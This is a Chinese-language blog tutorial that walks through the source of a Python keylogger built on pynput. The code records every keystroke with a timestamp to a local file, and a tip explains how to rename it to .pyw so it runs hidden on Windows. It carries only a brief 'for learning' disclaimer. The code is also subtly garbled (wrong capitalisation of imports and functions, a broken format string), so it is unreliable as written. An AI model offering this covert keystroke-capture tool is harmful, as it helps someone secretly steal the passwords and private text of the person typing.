键盘记录器用于捕获计算机键盘输入的击键。 我们将使用 python 构建一个键盘记录器。
我听说现在很流行完全更改键盘记录器**
from pynput.keyboard import key, listener
import logging
logging.basicconfig(filename=("keylog.txt"), level=logging.debug, format=" %(asctime)s - message)s")
def on_press(key):
logging.info(str(key))
with listener(on_press=on_press) as listener :
listener.join()
程序运行后,将在当前目录中创建一个新的文件键盘日志txt。键盘的键盘记录记录在文件中。 下面是一个示例:
2023-12-13 08:21:04,213 - 'a'
2023-12-13 08:21:04,400 - 'b'
2023-12-13 08:21:04,650 - 'c'
2023-12-13 08:21:06,134 - key.enter
在开始之前,我们需要安装一个特定的库 pynput,这是一个跨平台的第三方 python 库,可以监听和操作鼠标和键盘,我们可以使用 pip 命令来做到这一点pip install pynput
from pynput.keyboard import key, listener
import logging
导入所需的模块。 日志记录模块可以帮助我们非常灵活地记录信息。
logging.basicconfig(filename=("keylog.txt"), level=logging.debug, format=" %(asctime)s - message)s")
配置日志记录参数。 指定将击键日志记录保存到键盘日志中txt,指定存储格式:yy-mm-dd hh-mm-ss(ms) -key
def on_press(key):
logging.info(str(key))
自定义函数接受用户按下的键,并在将其转换为字符串后将其记录到文件中。
with listener(on_press=on_press) as listener :
listener.join()
创建侦听器的实例,记录击键,并将自定义函数作为参数传递。 用join() 方法。 每次按下某个键时,都会触发侦听器,调用自定义函数,并将击键记录到文件中。
在 Windows 上,只需将文件扩展名添加到 .py 重命名为 .pyw,然后双击该文件在后台运行,而不弹出 python 终端。
我们编写了一个简短有效的python键盘记录器来记录击键,目的是学习习 python,请不要将其用于恶意目的。
创建文章并不容易,如果您喜欢这篇文章,请关注、点赞并与您的朋友分享。 如果您有意见和建议,请在评论中给我们反馈。